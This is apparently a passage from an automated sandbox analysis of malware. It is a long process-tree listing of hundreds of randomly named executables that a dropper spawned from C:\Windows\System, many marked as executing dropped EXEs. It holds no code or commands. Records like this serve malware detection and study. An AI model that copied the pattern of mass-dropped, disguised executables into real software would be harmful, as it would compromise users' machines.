  2⤵
  - Executes dropped EXE
  PID:3344
- C:\Windows\System\VTJEEXe.exe
  C:\Windows\System\VTJEEXe.exe
  2⤵
  - Executes dropped EXE
  PID:4928
- C:\Windows\System\VDAQxvS.exe
  C:\Windows\System\VDAQxvS.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\KUQOvsx.exe
  C:\Windows\System\KUQOvsx.exe
  2⤵
  - Executes dropped EXE
  PID:1692
- C:\Windows\System\qoUNCPg.exe
  C:\Windows\System\qoUNCPg.exe
  2⤵
  - Executes dropped EXE
  PID:4032
- C:\Windows\System\zbBlQNk.exe
  C:\Windows\System\zbBlQNk.exe
  2⤵
  - Executes dropped EXE
  PID:3792
- C:\Windows\System\JliOPoH.exe
  C:\Windows\System\JliOPoH.exe
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Windows\System\SOCdRbK.exe
  C:\Windows\System\SOCdRbK.exe
  2⤵
  - Executes dropped EXE
  PID:1472
- C:\Windows\System\OhdQGst.exe
  C:\Windows\System\OhdQGst.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\LNKTcux.exe
  C:\Windows\System\LNKTcux.exe
  2⤵
  - Executes dropped EXE
  PID:3312
- C:\Windows\System\yPjCOhK.exe
  C:\Windows\System\yPjCOhK.exe
  2⤵
  - Executes dropped EXE
  PID:1348
- C:\Windows\System\GgWosFg.exe
  C:\Windows\System\GgWosFg.exe
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Windows\System\GMKWxke.exe
  C:\Windows\System\GMKWxke.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\fkuAFcU.exe
  C:\Windows\System\fkuAFcU.exe
  2⤵
  - Executes dropped EXE
  PID:4184
- C:\Windows\System\PbAHovd.exe
  C:\Windows\System\PbAHovd.exe
  2⤵
  - Executes dropped EXE
  PID:464
- C:\Windows\System\cBPAlyI.exe
  C:\Windows\System\cBPAlyI.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\UZceexP.exe
  C:\Windows\System\UZceexP.exe
  2⤵
  - Executes dropped EXE
  PID:4040
- C:\Windows\System\NHXxORc.exe
  C:\Windows\System\NHXxORc.exe
  2⤵
  - Executes dropped EXE
  PID:5080
- C:\Windows\System\CVmAZtv.exe
  C:\Windows\System\CVmAZtv.exe
  2⤵
  - Executes dropped EXE
  PID:3136
- C:\Windows\System\ArOxHRu.exe
  C:\Windows\System\ArOxHRu.exe
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Windows\System\SioqUJy.exe
  C:\Windows\System\SioqUJy.exe
  2⤵
  - Executes dropped EXE
  PID:1972
- C:\Windows\System\pWDzztm.exe
  C:\Windows\System\pWDzztm.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\vrADFsM.exe
  C:\Windows\System\vrADFsM.exe
  2⤵
  - Executes dropped EXE
  PID:5088
- C:\Windows\System\tobORux.exe
  C:\Windows\System\tobORux.exe
  2⤵
  - Executes dropped EXE
  PID:4632
- C:\Windows\System\jHHARbv.exe
  C:\Windows\System\jHHARbv.exe
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Windows\System\KIYCLWx.exe
  C:\Windows\System\KIYCLWx.exe
  2⤵
  - Executes dropped EXE
  PID:4992
- C:\Windows\System\AfbQYPd.exe
  C:\Windows\System\AfbQYPd.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\PSkOzyx.exe
  C:\Windows\System\PSkOzyx.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\pWOLKlC.exe
  C:\Windows\System\pWOLKlC.exe
  2⤵
  - Executes dropped EXE
  PID:4148
- C:\Windows\System\alGNszx.exe
  C:\Windows\System\alGNszx.exe
  2⤵
  - Executes dropped EXE
  PID:2344
- C:\Windows\System\BkwoTae.exe
  C:\Windows\System\BkwoTae.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\CNCkCIk.exe
  C:\Windows\System\CNCkCIk.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\SbGIPxN.exe
  C:\Windows\System\SbGIPxN.exe
  2⤵
  - Executes dropped EXE
  PID:1732
- C:\Windows\System\OtydzCp.exe
  C:\Windows\System\OtydzCp.exe
  2⤵
  - Executes dropped EXE
  PID:1704
- C:\Windows\System\sBYLJAs.exe
  C:\Windows\System\sBYLJAs.exe
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Windows\System\WQkckTO.exe
  C:\Windows\System\WQkckTO.exe
  2⤵
  PID:4412
- C:\Windows\System\YmzUnwO.exe
  C:\Windows\System\YmzUnwO.exe
  2⤵
  PID:4688
- C:\Windows\System\JDqwUir.exe
  C:\Windows\System\JDqwUir.exe
  2⤵
  PID:940
- C:\Windows\System\LbbzxPx.exe
  C:\Windows\System\LbbzxPx.exe
  2⤵
  PID:5048
- C:\Windows\System\oKSyrxq.exe
  C:\Windows\System\oKSyrxq.exe
  2⤵
  PID:4516
- C:\Windows\System\XJgaOyS.exe
  C:\Windows\System\XJgaOyS.exe
  2⤵
  PID:5532
- C:\Windows\System\FcXPTxz.exe
  C:\Windows\System\FcXPTxz.exe
  2⤵
  PID:5560
- C:\Windows\System\xPmbsgU.exe
  C:\Windows\System\xPmbsgU.exe
  2⤵
  PID:5576
- C:\Windows\System\HibfZNS.exe
  C:\Windows\System\HibfZNS.exe
  2⤵
  PID:5596
- C:\Windows\System\oXNfDbI.exe
  C:\Windows\System\oXNfDbI.exe
  2⤵
  PID:5636
- C:\Windows\System\UViTGHg.exe
  C:\Windows\System\UViTGHg.exe
  2⤵
  PID:5940
- C:\Windows\System\MoTcBkN.exe
  C:\Windows\System\MoTcBkN.exe
  2⤵
  PID:5964
- C:\Windows\System\sYUphzb.exe
  C:\Windows\System\sYUphzb.exe
  2⤵
  PID:5996
- C:\Windows\System\vnOFDgu.exe
  C:\Windows\System\vnOFDgu.exe
  2⤵
  PID:6032
- C:\Windows\System\nhBqdtL.exe
  C:\Windows\System\nhBqdtL.exe
  2⤵
  PID:6064
- C:\Windows\System\iwMOhAP.exe
  C:\Windows\System\iwMOhAP.exe
  2⤵
  PID:6096
- C:\Windows\System\dDSCvAX.exe
  C:\Windows\System\dDSCvAX.exe
  2⤵
  PID:6132
- C:\Windows\System\WdOsaAs.exe
  C:\Windows\System\WdOsaAs.exe
  2⤵
  PID:796
- C:\Windows\System\SyFuJgl.exe
  C:\Windows\System\SyFuJgl.exe
  2⤵
  PID:2076
- C:\Windows\System\aRpUjMK.exe
  C:\Windows\System\aRpUjMK.exe
  2⤵
  PID:448
- C:\Windows\System\bUUpchF.exe
  C:\Windows\System\bUUpchF.exe
  2⤵
  PID:2976
- C:\Windows\System\ImSVQya.exe
  C:\Windows\System\ImSVQya.exe
  2⤵
  PID:4232
- C:\Windows\System\TLDiXiF.exe
  C:\Windows\System\TLDiXiF.exe
  2⤵
  PID:4424
- C:\Windows\System\lPUzfTP.exe
  C:\Windows\System\lPUzfTP.exe
  2⤵
  PID:3512
- C:\Windows\System\tGhkzET.exe
  C:\Windows\System\tGhkzET.exe
  2⤵
  PID:2152
- C:\Windows\System\ZUJIJTn.exe
  C:\Windows\System\ZUJIJTn.exe
  2⤵
  PID:3292
- C:\Windows\System\qFlhChF.exe
  C:\Windows\System\qFlhChF.exe
  2⤵
  PID:2904
- C:\Windows\System\TDLGYhr.exe
  C:\Windows\System\TDLGYhr.exe
  2⤵
  PID:2576
- C:\Windows\System\JcCXLmW.exe
  C:\Windows\System\JcCXLmW.exe
  2⤵
  PID:1584
- C:\Windows\System\UMKnhhi.exe
  C:\Windows\System\UMKnhhi.exe
  2⤵
  PID:4020
- C:\Windows\System\lCXVUiz.exe
  C:\Windows\System\lCXVUiz.exe
  2⤵
  PID:2232
- C:\Windows\System\EMTLczg.exe
  C:\Windows\System\EMTLczg.exe
  2⤵
  PID:5128
- C:\Windows\System\tTEZQrv.exe
  C:\Windows\System\tTEZQrv.exe
  2⤵
  PID:5224
- C:\Windows\System\oiUljtc.exe
  C:\Windows\System\oiUljtc.exe
  2⤵
  PID:5292
- C:\Windows\System\ZEeJvOV.exe
  C:\Windows\System\ZEeJvOV.exe
  2⤵
  PID:5352
- C:\Windows\System\JUDjKrK.exe
  C:\Windows\System\JUDjKrK.exe
  2⤵
  PID:5404
- C:\Windows\System\HrQTWOI.exe
  C:\Windows\System\HrQTWOI.exe
  2⤵
  PID:5460
- C:\Windows\System\KYDIhXV.exe
  C:\Windows\System\KYDIhXV.exe
  2⤵
  PID:5484
- C:\Windows\System\ryaMncA.exe
  C:\Windows\System\ryaMncA.exe
  2⤵
  PID:5524
- C:\Windows\System\AvuPrhY.exe
  C:\Windows\System\AvuPrhY.exe
  2⤵
  PID:5588
- C:\Windows\System\fFJftvo.exe
  C:\Windows\System\fFJftvo.exe
  2⤵
  PID:5624
- C:\Windows\System\wRUesOi.exe
  C:\Windows\System\wRUesOi.exe
  2⤵
  PID:5748
- C:\Windows\System\WnsDANm.exe
  C:\Windows\System\WnsDANm.exe
  2⤵
  PID:5772
- C:\Windows\System\erJLsBZ.exe
  C:\Windows\System\erJLsBZ.exe
  2⤵
  PID:5436
- C:\Windows\System\qsdwdzC.exe
  C:\Windows\System\qsdwdzC.exe
  2⤵
  PID:4236
- C:\Windows\System\hhsUMWl.exe
  C:\Windows\System\hhsUMWl.exe
  2⤵
  PID:2244
- C:\Windows\System\xUsIMNo.exe
  C:\Windows\System\xUsIMNo.exe
  2⤵
  PID:232
- C:\Windows\System\xuzOlTE.exe
  C:\Windows\System\xuzOlTE.exe
  2⤵
  PID:1020
- C:\Windows\System\JXutmWY.exe
  C:\Windows\System\JXutmWY.exe
  2⤵
  PID:1528
- C:\Windows\System\jfBlcob.exe
  C:\Windows\System\jfBlcob.exe
  2⤵
  PID:3956
- C:\Windows\System\jLjAsQa.exe
  C:\Windows\System\jLjAsQa.exe
  2⤵
  PID:5860
- C:\Windows\System\oMnmNUW.exe
  C:\Windows\System\oMnmNUW.exe
  2⤵
  PID:5916
- C:\Windows\System\EfhGotX.exe
  C:\Windows\System\EfhGotX.exe
  2⤵
  PID:4904
- C:\Windows\System\BXVcLIj.exe
  C:\Windows\System\BXVcLIj.exe
  2⤵
  PID:3024
- C:\Windows\System\OmZZTtV.exe
  C:\Windows\System\OmZZTtV.exe
  2⤵
  PID:5952
- C:\Windows\System\hxlIgkM.exe
  C:\Windows\System\hxlIgkM.exe
  2⤵
  PID:3284
- C:\Windows\System\sgcXgfD.exe
  C:\Windows\System\sgcXgfD.exe
  2⤵
  PID:6020
- C:\Windows\System\fjCWmhP.exe
  C:\Windows\System\fjCWmhP.exe
  2⤵
  PID:2568
- C:\Windows\System\OTlsYtd.exe
  C:\Windows\System\OTlsYtd.exe
  2⤵
  PID:6076
- C:\Windows\System\cdSFoDo.exe
  C:\Windows\System\cdSFoDo.exe
  2⤵
  PID:6116
- C:\Windows\System\DWESRmX.exe
  C:\Windows\System\DWESRmX.exe
  2⤵
  PID:2324
- C:\Windows\System\bscUpWJ.exe
  C:\Windows\System\bscUpWJ.exe
  2⤵
  PID:3772
- C:\Windows\System\BSLcXMZ.exe
  C:\Windows\System\BSLcXMZ.exe
  2⤵
  PID:2788
- C:\Windows\System\AbIzDlo.exe
  C:\Windows\System\AbIzDlo.exe
  2⤵
  PID:1524
- C:\Windows\System\RmzelVu.exe
  C:\Windows\System\RmzelVu.exe
  2⤵
  PID:2772
- C:\Windows\System\mftQJCa.exe
  C:\Windows\System\mftQJCa.exe
  2⤵
  PID:3236
- C:\Windows\System\vuijUaM.exe
  C:\Windows\System\vuijUaM.exe
  2⤵
  PID:5092
- C:\Windows\System\SoGHYRb.exe
  C:\Windows\System\SoGHYRb.exe
  2⤵
  PID:5264
- C:\Windows\System\jJhZHda.exe
  C:\Windows\System\jJhZHda.exe
  2⤵
  PID:1504
- C:\Windows\System\OrZEpld.exe
  C:\Windows\System\OrZEpld.exe
  2⤵
  PID:5332
- C:\Windows\System\OpvMJlP.exe
  C:\Windows\System\OpvMJlP.exe
  2⤵
  PID:5760
- C:\Windows\System\cCzAXoi.exe
  C:\Windows\System\cCzAXoi.exe
  2⤵
  PID:5340
- C:\Windows\System\ZDeTwQr.exe
  C:\Windows\System\ZDeTwQr.exe
  2⤵
  PID:5444
- C:\Windows\System\YlUQVzZ.exe
  C:\Windows\System\YlUQVzZ.exe
  2⤵
  PID:3288
- C:\Windows\System\aFlPgdj.exe
  C:\Windows\System\aFlPgdj.exe
  2⤵
  PID:4220
- C:\Windows\System\tBYJwzy.exe
  C:\Windows\System\tBYJwzy.exe
  2⤵
  PID:5868
- C:\Windows\System\uWwkecR.exe
  C:\Windows\System\uWwkecR.exe
  2⤵
  PID:5732
- C:\Windows\System\yoGQAzh.exe
  C:\Windows\System\yoGQAzh.exe
  2⤵
  PID:3588
- C:\Windows\System\bkcXvsZ.exe
  C:\Windows\System\bkcXvsZ.exe
  2⤵
  PID:3056
- C:\Windows\System\jqquQAp.exe
  C:\Windows\System\jqquQAp.exe
  2⤵
  PID:6148
- C:\Windows\System\GgQMaYr.exe
  C:\Windows\System\GgQMaYr.exe
  2⤵
  PID:6184
- C:\Windows\System\boNaHDE.exe
  C:\Windows\System\boNaHDE.exe
  2⤵
  PID:6204
- C:\Windows\System\tCrqTHM.exe
  C:\Windows\System\tCrqTHM.exe
  2⤵
  PID:6228
- C:\Windows\System\icxdvrT.exe
  C:\Windows\System\icxdvrT.exe
  2⤵
  PID:6268
- C:\Windows\System\JIyerCm.exe
  C:\Windows\System\JIyerCm.exe
  2⤵
  PID:6292
- C:\Windows\System\ykOczuG.exe
  C:\Windows\System\ykOczuG.exe
  2⤵
  PID:6308
- C:\Windows\System\rBzEFCV.exe
  C:\Windows\System\rBzEFCV.exe
  2⤵
  PID:6340
- C:\Windows\System\zIZnRAZ.exe
  C:\Windows\System\zIZnRAZ.exe
  2⤵
  PID:6360
- C:\Windows\System\fwRdCHy.exe
  C:\Windows\System\fwRdCHy.exe
  2⤵
  PID:6376
- C:\Windows\System\qaCFYpS.exe
  C:\Windows\System\qaCFYpS.exe
  2⤵
  PID:6404
- C:\Windows\System\oopxxxC.exe
  C:\Windows\System\oopxxxC.exe
  2⤵
  PID:6432
- C:\Windows\System\QQppngh.exe
  C:\Windows\System\QQppngh.exe
  2⤵
  PID:6460
- C:\Windows\System\yZnVkkJ.exe
  C:\Windows\System\yZnVkkJ.exe
  2⤵
  PID:6480
- C:\Windows\System\eaDTWHO.exe
  C:\Windows\System\eaDTWHO.exe
  2⤵
  PID:6508
- C:\Windows\System\zcNbNfy.exe
  C:\Windows\System\zcNbNfy.exe
  2⤵
  PID:6532
- C:\Windows\System\CPvwhHD.exe
  C:\Windows\System\CPvwhHD.exe
  2⤵
  PID:6548
- C:\Windows\System\nfgmBkO.exe
  C:\Windows\System\nfgmBkO.exe
  2⤵
  PID:6580
- C:\Windows\System\umKRGfI.exe
  C:\Windows\System\umKRGfI.exe
  2⤵
  PID:6608
- C:\Windows\System\XqZswfi.exe
  C:\Windows\System\XqZswfi.exe
  2⤵
  PID:6632
- C:\Windows\System\wjDNNlU.exe
  C:\Windows\System\wjDNNlU.exe
  2⤵
  PID:6656
- C:\Windows\System\ZHcMxwH.exe
  C:\Windows\System\ZHcMxwH.exe
  2⤵
  PID:6672
- C:\Windows\System\AMJskMX.exe
  C:\Windows\System\AMJskMX.exe
  2⤵
  PID:6700
- C:\Windows\System\WbZXjxc.exe
  C:\Windows\System\WbZXjxc.exe
  2⤵
  PID:6716
- C:\Windows\System\IpRAbhG.exe
  C:\Windows\System\IpRAbhG.exe
  2⤵
  PID:6732
- C:\Windows\System\jWrgPsG.exe
  C:\Windows\System\jWrgPsG.exe
  2⤵
  PID:6748
- C:\Windows\System\XcRsWEt.exe
  C:\Windows\System\XcRsWEt.exe
  2⤵
  PID:6768
- C:\Windows\System\iIIcpxz.exe
  C:\Windows\System\iIIcpxz.exe
  2⤵
  PID:6808
- C:\Windows\System\VQWpKNK.exe
  C:\Windows\System\VQWpKNK.exe
  2⤵
  PID:6844
- C:\Windows\System\kVMqzJc.exe
  C:\Windows\System\kVMqzJc.exe
  2⤵
  PID:6864
- C:\Windows\System\xykIzmp.exe
  C:\Windows\System\xykIzmp.exe
  2⤵
  PID:6896
- C:\Windows\System\AVwIGnR.exe
  C:\Windows\System\AVwIGnR.exe
  2⤵
  PID:6912
- C:\Windows\System\gIZkuhU.exe
  C:\Windows\System\gIZkuhU.exe
  2⤵
  PID:6932
- C:\Windows\System\mayNHSA.exe
  C:\Windows\System\mayNHSA.exe
  2⤵
  PID:6968
- C:\Windows\System\QFmLTHQ.exe
  C:\Windows\System\QFmLTHQ.exe
  2⤵
  PID:7004
- C:\Windows\System\qSFIKIt.exe
  C:\Windows\System\qSFIKIt.exe
  2⤵
  PID:7024
- C:\Windows\System\TBpydKy.exe
  C:\Windows\System\TBpydKy.exe
  2⤵
  PID:7040
- C:\Windows\System\YUYdiMF.exe
  C:\Windows\System\YUYdiMF.exe
  2⤵
  PID:7076
- C:\Windows\System\KWAFCgl.exe
  C:\Windows\System\KWAFCgl.exe
  2⤵
  PID:7096
- C:\Windows\System\QoZwHtm.exe
  C:\Windows\System\QoZwHtm.exe
  2⤵
  PID:7116
- C:\Windows\System\INxfEdn.exe
  C:\Windows\System\INxfEdn.exe
  2⤵
  PID:7144
- C:\Windows\System\jucZVLn.exe
  C:\Windows\System\jucZVLn.exe
  2⤵
  PID:7160
- C:\Windows\System\edgcYJc.exe
  C:\Windows\System\edgcYJc.exe
  2⤵
  PID:6024
- C:\Windows\System\GgWhWXI.exe
  C:\Windows\System\GgWhWXI.exe
  2⤵
  PID:2740
- C:\Windows\System\SnkkdHf.exe
  C:\Windows\System\SnkkdHf.exe
  2⤵
  PID:5508
- C:\Windows\System\hOjHLhK.exe
  C:\Windows\System\hOjHLhK.exe
  2⤵
  PID:4652
- C:\Windows\System\CyhYkdC.exe
  C:\Windows\System\CyhYkdC.exe
  2⤵
  PID:5928
- C:\Windows\System\aWvZJcm.exe
  C:\Windows\System\aWvZJcm.exe
  2⤵
  PID:5248
- C:\Windows\System\mrVWwrw.exe
  C:\Windows\System\mrVWwrw.exe
  2⤵
  PID:6244
- C:\Windows\System\iDcxfVp.exe
  C:\Windows\System\iDcxfVp.exe
  2⤵
  PID:6416
- C:\Windows\System\keBvOUa.exe
  C:\Windows\System\keBvOUa.exe
  2⤵
  PID:6456
- C:\Windows\System\RsouLXY.exe
  C:\Windows\System\RsouLXY.exe
  2⤵
  PID:2308
- C:\Windows\System\MNcXYKH.exe
  C:\Windows\System\MNcXYKH.exe
  2⤵
  PID:6592
- C:\Windows\System\PZqUNqC.exe
  C:\Windows\System\PZqUNqC.exe
  2⤵
  PID:6628
- C:\Windows\System\kVpoFVh.exe
  C:\Windows\System\kVpoFVh.exe
  2⤵
  PID:6648
- C:\Windows\System\eiCPrCo.exe
  C:\Windows\System\eiCPrCo.exe
  2⤵
  PID:6744
- C:\Windows\System\XPFsEQb.exe
  C:\Windows\System\XPFsEQb.exe
  2⤵
  PID:6760
- C:\Windows\System\iNBccle.exe
  C:\Windows\System\iNBccle.exe
  2⤵
  PID:6348
- C:\Windows\System\ZKWYqzV.exe
  C:\Windows\System\ZKWYqzV.exe
  2⤵
  PID:6836
- C:\Windows\System\EHxicoO.exe
  C:\Windows\System\EHxicoO.exe
  2⤵
  PID:4648
- C:\Windows\System\ppRnMAd.exe
  C:\Windows\System\ppRnMAd.exe
  2⤵
  PID:6928
- C:\Windows\System\FuLWWmn.exe
  C:\Windows\System\FuLWWmn.exe
  2⤵
  PID:6084
- C:\Windows\System\jQCYdfd.exe
  C:\Windows\System\jQCYdfd.exe
  2⤵
  PID:3556
- C:\Windows\System\VTmqNlV.exe
  C:\Windows\System\VTmqNlV.exe
  2⤵
  PID:6172
- C:\Windows\System\gxZsZbj.exe
  C:\Windows\System\gxZsZbj.exe
  2⤵
  PID:6224
- C:\Windows\System\ZCGcbju.exe
  C:\Windows\System\ZCGcbju.exe
  2⤵
  PID:7172
- C:\Windows\System\NKhgcih.exe
  C:\Windows\System\NKhgcih.exe
  2⤵
  PID:7208
- C:\Windows\System\McECXHU.exe
  C:\Windows\System\McECXHU.exe
  2⤵
  PID:7228
- C:\Windows\System\prCIUMu.exe
  C:\Windows\System\prCIUMu.exe
  2⤵
  PID:7244
- C:\Windows\System\jiGbkzy.exe
  C:\Windows\System\jiGbkzy.exe
  2⤵
  PID:7264
- C:\Windows\System\PaOfNJv.exe
  C:\Windows\System\PaOfNJv.exe
  2⤵
  PID:7284
- C:\Windows\System\fvzcfLA.exe
  C:\Windows\System\fvzcfLA.exe
  2⤵
  PID:7304
- C:\Windows\System\mAAKCNE.exe
  C:\Windows\System\mAAKCNE.exe
  2⤵
  PID:7344
- C:\Windows\System\caZvqXX.exe
  C:\Windows\System\caZvqXX.exe
  2⤵
  PID:7360
- C:\Windows\System\zVYgKwE.exe
  C:\Windows\System\zVYgKwE.exe
  2⤵
  PID:7380
- C:\Windows\System\yyfsOaz.exe
  C:\Windows\System\yyfsOaz.exe
  2⤵
  PID:7404
- C:\Windows\System\jlawbYB.exe
  C:\Windows\System\jlawbYB.exe
  2⤵
  PID:7436
- C:\Windows\System\EfFarTM.exe
  C:\Windows\System\EfFarTM.exe
  2⤵
  PID:7452
- C:\Windows\System\DQEgTzE.exe
  C:\Windows\System\DQEgTzE.exe
  2⤵
  PID:7480
- C:\Windows\System\vrPunPu.exe
  C:\Windows\System\vrPunPu.exe
  2⤵
  PID:7520
- C:\Windows\System\GgyEZfV.exe
  C:\Windows\System\GgyEZfV.exe
  2⤵
  PID:7540
- C:\Windows\System\fCMDzXr.exe
  C:\Windows\System\fCMDzXr.exe
  2⤵
  PID:7568
- C:\Windows\System\FsVLgpH.exe
  C:\Windows\System\FsVLgpH.exe
  2⤵
  PID:7588
- C:\Windows\System\RnyGcfG.exe
  C:\Windows\System\RnyGcfG.exe
  2⤵
  PID:7604
- C:\Windows\System\SOvIFEG.exe
  C:\Windows\System\SOvIFEG.exe
  2⤵
  PID:7620
- C:\Windows\System\zJqELTV.exe
  C:\Windows\System\zJqELTV.exe
  2⤵
  PID:7656
- C:\Windows\System\WAXKQHH.exe
  C:\Windows\System\WAXKQHH.exe
  2⤵
  PID:7680
- C:\Windows\System\zkkSAEe.exe
  C:\Windows\System\zkkSAEe.exe
  2⤵
  PID:7712
- C:\Windows\System\nFyDJKH.exe
  C:\Windows\System\nFyDJKH.exe
  2⤵
  PID:7728
- C:\Windows\System\NrWNReO.exe
  C:\Windows\System\NrWNReO.exe
  2⤵
  PID:7748
- C:\Windows\System\TRfWunj.exe
  C:\Windows\System\TRfWunj.exe
  2⤵
  PID:7780
- C:\Windows\System\rzlhRFA.exe
  C:\Windows\System\rzlhRFA.exe
  2⤵
  PID:7812
- C:\Windows\System\iwivbrG.exe
  C:\Windows\System\iwivbrG.exe
  2⤵
  PID:7860
- C:\Windows\System\HsVUIHy.exe
  C:\Windows\System\HsVUIHy.exe
  2⤵
  PID:7888
- C:\Windows\System\HmfIuPm.exe
  C:\Windows\System\HmfIuPm.exe
  2⤵
  PID:7920
- C:\Windows\System\huoldHz.exe
  C:\Windows\System\huoldHz.exe
  2⤵
  PID:7936
- C:\Windows\System\nJVUDfA.exe
  C:\Windows\System\nJVUDfA.exe
  2⤵
  PID:7956
- C:\Windows\System\NmmXYkl.exe
  C:\Windows\System\NmmXYkl.exe
  2⤵
  PID:7980
- C:\Windows\System\bSeJpWQ.exe
  C:\Windows\System\bSeJpWQ.exe
  2⤵
  PID:8008
- C:\Windows\System\KLYXIsR.exe
  C:\Windows\System\KLYXIsR.exe
  2⤵
  PID:8036
- C:\Windows\System\VqLcWWb.exe
  C:\Windows\System\VqLcWWb.exe
  2⤵
  PID:8056
- C:\Windows\System\YTdTKrb.exe
  C:\Windows\System\YTdTKrb.exe
  2⤵
  PID:8100
- C:\Windows\System\qWBnNaR.exe
  C:\Windows\System\qWBnNaR.exe
  2⤵
  PID:8120
- C:\Windows\System\VaFJzHO.exe
  C:\Windows\System\VaFJzHO.exe
  2⤵
  PID:8156
- C:\Windows\System\HIXGWSB.exe
  C:\Windows\System\HIXGWSB.exe
  2⤵
  PID:8188
- C:\Windows\System\VZznDlA.exe
  C:\Windows\System\VZznDlA.exe
  2⤵
  PID:6336
- C:\Windows\System\qiLexNc.exe
  C:\Windows\System\qiLexNc.exe
  2⤵
  PID:6392
- C:\Windows\System\iuZamyf.exe
  C:\Windows\System\iuZamyf.exe
  2⤵
  PID:6884
- C:\Windows\System\vYRcDkM.exe
  C:\Windows\System\vYRcDkM.exe
  2⤵
  PID:6492
- C:\Windows\System\nElAQrE.exe
  C:\Windows\System\nElAQrE.exe
  2⤵
  PID:564
- C:\Windows\System\IHBqPSd.exe
  C:\Windows\System\IHBqPSd.exe
  2⤵
  PID:6156
- C:\Windows\System\mjXevPt.exe
  C:\Windows\System\mjXevPt.exe
  2⤵
  PID:6684
- C:\Windows\System\bRBAHpo.exe
  C:\Windows\System\bRBAHpo.exe
  2⤵
  PID:7204
- C:\Windows\System\xxSBFXA.exe
  C:\Windows\System\xxSBFXA.exe
  2⤵
  PID:864
- C:\Windows\System\IjXRRit.exe
  C:\Windows\System\IjXRRit.exe
  2⤵
  PID:2024
- C:\Windows\System\MvIgwMc.exe
  C:\Windows\System\MvIgwMc.exe
  2⤵
  PID:6780
- C:\Windows\System\BGaVsFh.exe
  C:\Windows\System\BGaVsFh.exe
  2⤵
  PID:6824
- C:\Windows\System\AQEZmfy.exe
  C:\Windows\System\AQEZmfy.exe
  2⤵
  PID:4432
- C:\Windows\System\BzNglXb.exe
  C:\Windows\System\BzNglXb.exe
  2⤵
  PID:6604
- C:\Windows\System\MfZDyeO.exe
  C:\Windows\System\MfZDyeO.exe
  2⤵
  PID:7532
- C:\Windows\System\geVHfZI.exe
  C:\Windows\System\geVHfZI.exe
  2⤵
  PID:7564
- C:\Windows\System\CqjqJhr.exe
  C:\Windows\System\CqjqJhr.exe
  2⤵
  PID:6352
- C:\Windows\System\XUcHiPq.exe
  C:\Windows\System\XUcHiPq.exe
  2⤵
  PID:5500
- C:\Windows\System\fjXFYSp.exe
  C:\Windows\System\fjXFYSp.exe
  2⤵
  PID:7052
- C:\Windows\System\bNVygXh.exe
  C:\Windows\System\bNVygXh.exe
  2⤵
  PID:5416
- C:\Windows\System\wEicork.exe
  C:\Windows\System\wEicork.exe
  2⤵
  PID:8228
- C:\Windows\System\exppHdo.exe
  C:\Windows\System\exppHdo.exe
  2⤵
  PID:8244
- C:\Windows\System\diraYYD.exe
  C:\Windows\System\diraYYD.exe
  2⤵
  PID:8268
- C:\Windows\System\qHtulHh.exe
  C:\Windows\System\qHtulHh.exe
  2⤵
  PID:8304
- C:\Windows\System\kzfUMwi.exe
  C:\Windows\System\kzfUMwi.exe
  2⤵
  PID:8328
- C:\Windows\System\kVnlyJR.exe
  C:\Windows\System\kVnlyJR.exe
  2⤵
  PID:8352
- C:\Windows\System\YsioWHD.exe
  C:\Windows\System\YsioWHD.exe
  2⤵
  PID:8384
- C:\Windows\System\ayVMhHy.exe
  C:\Windows\System\ayVMhHy.exe
  2⤵
  PID:8404
- C:\Windows\System\xScuUMR.exe
  C:\Windows\System\xScuUMR.exe
  2⤵
  PID:8420
- C:\Windows\System\KMKAZGp.exe
  C:\Windows\System\KMKAZGp.exe
  2⤵
  PID:8456
- C:\Windows\System\ppXmCaA.exe
  C:\Windows\System\ppXmCaA.exe
  2⤵
  PID:8476
- C:\Windows\System\xCFUpLN.exe
  C:\Windows\System\xCFUpLN.exe
  2⤵
  PID:8508
- C:\Windows\System\HtwmKyl.exe
  C:\Windows\System\HtwmKyl.exe
  2⤵
  PID:8540
- C:\Windows\System\tfQkCiH.exe
  C:\Windows\System\tfQkCiH.exe
  2⤵
  PID:8564
- C:\Windows\System\hJryCqY.exe
  C:\Windows\System\hJryCqY.exe
  2⤵
  PID:8588
- C:\Windows\System\dLXYPrP.exe
  C:\Windows\System\dLXYPrP.exe
  2⤵
  PID:8604
- C:\Windows\System\usCyJmK.exe
  C:\Windows\System\usCyJmK.exe
  2⤵
  PID:8640
- C:\Windows\System\OhMXhNg.exe
  C:\Windows\System\OhMXhNg.exe
  2⤵
  PID:8668
- C:\Windows\System\GKNKRUI.exe
  C:\Windows\System\GKNKRUI.exe
  2⤵
  PID:8688
- C:\Windows\System\WzGcrDa.exe
  C:\Windows\System\WzGcrDa.exe
  2⤵
  PID:8724
- C:\Windows\System\KSfOFNR.exe
  C:\Windows\System\KSfOFNR.exe
  2⤵
  PID:8752
- C:\Windows\System\BIdFcfO.exe
  C:\Windows\System\BIdFcfO.exe
  2⤵
  PID:8776
- C:\Windows\System\xlUfvQG.exe
  C:\Windows\System\xlUfvQG.exe
  2⤵
  PID:8800
- C:\Windows\System\SZTtyuz.exe
  C:\Windows\System\SZTtyuz.exe
  2⤵
  PID:8824
- C:\Windows\System\aUZYgOe.exe
  C:\Windows\System\aUZYgOe.exe
  2⤵
  PID:8848
- C:\Windows\System\KYlxlFI.exe
  C:\Windows\System\KYlxlFI.exe
  2⤵
  PID:8876
- C:\Windows\System\yRjixRN.exe
  C:\Windows\System\yRjixRN.exe
  2⤵
  PID:8912
- C:\Windows\System\QPZCWiM.exe
  C:\Windows\System\QPZCWiM.exe
  2⤵
  PID:8928
- C:\Windows\System\Wpskfmw.exe
  C:\Windows\System\Wpskfmw.exe
  2⤵
  PID:8944
- C:\Windows\System\TheHJBx.exe
  C:\Windows\System\TheHJBx.exe
  2⤵
  PID:8964
- C:\Windows\System\YEolQqB.exe
